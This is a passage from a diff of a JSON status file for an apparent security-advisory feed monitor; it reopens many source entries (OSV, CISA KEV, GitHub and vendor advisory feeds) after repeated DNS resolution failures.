esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -599,10 +577,10 @@ "display_name": "Express", "source_name": "OSV Express", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -616,8 +594,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.23 + "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -626,10 +603,10 @@ "display_name": "Fastify", "source_name": "OSV Fastify", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -643,8 +620,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.225 + "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -653,10 +629,10 @@ "display_name": "Flask", "source_name": "OSV Flask", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -670,8 +646,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.945 + "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -680,10 +655,10 @@ "display_name": "Ghost", "source_name": "Ghost GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -697,8 +672,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/TryGhost/Ghost/security/advisories", - "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -707,10 +681,10 @@ "display_name": "Ghost", "source_name": "OSV Ghost", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -724,8 +698,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.706 + "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -734,10 +707,10 @@ "display_name": "Gin", "source_name": "OSV Gin", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -751,8 +724,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.933 + "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -761,10 +733,10 @@ "display_name": "Gitea", "source_name": "OSV Gitea", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -778,8 +750,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.731 + "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -788,10 +759,10 @@ "display_name": "GitLab CE", "source_name": "GitLab Advisory Database", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -805,8 +776,7 @@ "message": "HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://gitlab.com/gitlab-org/advisories-community", - "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.73 + "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -815,10 +785,10 @@ "display_name": "GitLab CE", "source_name": "GitLab Security Releases Atom", "source_kind": "atom-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -832,8 +802,7 @@ "message": "HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://about.gitlab.com/security-releases.xml", - "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.751 + "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -842,10 +811,10 @@ "display_name": "Grafana", "source_name": "CISA KEV Grafana", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -859,8 +828,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.753 + "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -869,10 +837,10 @@ "display_name": "Grafana", "source_name": "Grafana Security Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -886,8 +854,7 @@ "message": "HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://grafana.com/security/security-advisories/", - "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.755 + "summary": "grafana::Grafana Security Advisories::network::HTTPSConnectionPool(host='grafana.com', port=443): Max retries exceeded with url: /security/security-advisories/ (Caused by NameResolutionError(\"HTTPSConnection(host='grafana.com', port=443): Failed to resolve 'grafana.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -896,10 +863,10 @@ "display_name": "Hapi", "source_name": "OSV Hapi", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -913,8 +880,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.226 + "summary": "hapi::OSV Hapi::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -923,10 +889,10 @@ "display_name": "HAProxy", "source_name": "HAProxy Blog Feed", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -940,8 +906,7 @@ "message": "HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.haproxy.com/feed/", - "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.671 + "summary": "haproxy::HAProxy Blog Feed::network::HTTPSConnectionPool(host='www.haproxy.com', port=443): Max retries exceeded with url: /feed/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.haproxy.com', port=443): Failed to resolve 'www.haproxy.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -950,10 +915,10 @@ "display_name": "Jenkins", "source_name": "Jenkins Security Advisories RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -967,8 +932,7 @@ "message": "HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.jenkins.io/security/advisories/rss.xml", - "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.755 + "summary": "jenkins::Jenkins Security Advisories RSS::network::HTTPSConnectionPool(host='www.jenkins.io', port=443): Max retries exceeded with url: /security/advisories/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.jenkins.io', port=443): Failed to resolve 'www.jenkins.io' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -977,10 +941,10 @@ "display_name": "Joomla", "source_name": "Joomla Security Centre", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -994,8 +958,7 @@ "message": "HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://developer.joomla.org/security-centre.html", - "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.718 + "summary": "joomla::Joomla Security Centre::network::HTTPSConnectionPool(host='developer.joomla.org', port=443): Max retries exceeded with url: /security-centre.html (Caused by NameResolutionError(\"HTTPSConnection(host='developer.joomla.org', port=443): Failed to resolve 'developer.joomla.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1004,10 +967,10 @@ "display_name": "Joomla", "source_name": "OSV Joomla", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1021,8 +984,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "joomla::OSV Joomla::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1031,10 +993,10 @@ "display_name": "Kibana", "source_name": "Elastic Security Announcements RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1048,8 +1010,7 @@ "message": "HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://discuss.elastic.co/c/announcements/security-announcements/31.rss", - "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.728 + "summary": "kibana::Elastic Security Announcements RSS::network::HTTPSConnectionPool(host='discuss.elastic.co', port=443): Max retries exceeded with url: /c/announcements/security-announcements/31.rss (Caused by NameResolutionError(\"HTTPSConnection(host='discuss.elastic.co', port=443): Failed to resolve 'discuss.elastic.co' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1058,10 +1019,10 @@ "display_name": "Koa", "source_name": "OSV Koa", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1075,8 +1036,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.209 + "summary": "koa::OSV Koa::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1085,10 +1045,10 @@ "display_name": "Laravel", "source_name": "OSV Laravel", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1102,8 +1062,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.869 + "summary": "laravel::OSV Laravel::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1112,10 +1071,10 @@ "display_name": "Magento Open Source", "source_name": "Magento GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1129,8 +1088,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/magento/magento2/security/advisories", - "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.358 + "summary": "magento-open-source::Magento GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /magento/magento2/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -1139,10 +1097,10 @@ "display_name": "Magento Open Source", "source_name": "OSV Magento Open Source", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -1156,8 +1114,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not 